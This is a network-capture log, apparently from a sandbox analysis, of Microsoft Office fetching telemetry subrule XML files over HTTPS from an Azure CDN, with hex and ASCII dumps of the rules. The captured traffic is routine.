0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:00 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:00 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: e72ec3ca-501e-005b-2401-17d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012300Z-1657d5bbd48dfrdj7px744zp8s00000002eg00000000qu92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:00 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:00 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:00 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 5a59384b-a01e-0053-3602-178603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012300Z-1657d5bbd482lxwq1dp2t1zwkc00000002n0000000002fd7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:00 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:00 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:00 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: d3d0b776-b01e-003d-1803-17d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012300Z-1657d5bbd48lknvp09v995n79000000002fg000000005d62 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:00 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:01 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:01 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 09392ef7-101e-0046-3f05-1791b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012301Z-1657d5bbd482tlqpvyz9e93p5400000002yg00000000336n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:01 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:01 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:01 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f57b7c9f-801e-00a0-4a13-172196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012301Z-1657d5bbd48lknvp09v995n79000000002a000000000tp4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:01 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:01 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:01 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 6be05283-001e-00a2-2700-17d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012301Z-1657d5bbd48f7nlxc7n5fnfzh000000002c000000000ktpc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:01 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:01 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:01 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: d112c6a6-a01e-000d-2160-17d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012301Z-1657d5bbd48dfrdj7px744zp8s00000002g000000000h1u3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:01 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:01 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 20b36261-201e-006e-7102-17bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012301Z-1657d5bbd48dfrdj7px744zp8s00000002k000000000a4zy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:02 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:02 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 7c825ef0-601e-0001-5f02-17faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012302Z-1657d5bbd48vlsxxpe15ac3q7n00000002tg0000000076e9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:02 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:02 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:02 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 7cec3a6f-e01e-0033-3414-174695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012302Z-1657d5bbd48gqrfwecymhhbfm800000001h000000000p3g9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:02 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:02 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:02 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 40323690-a01e-0002-0100-175074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012302Z-1657d5bbd48p2j6x2quer0q02800000002y000000000gxhb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:02 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:02 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: c530354f-501e-0016-5013-17181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012302Z-1657d5bbd48qjg85buwfdynm5w00000002t000000000r2cu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 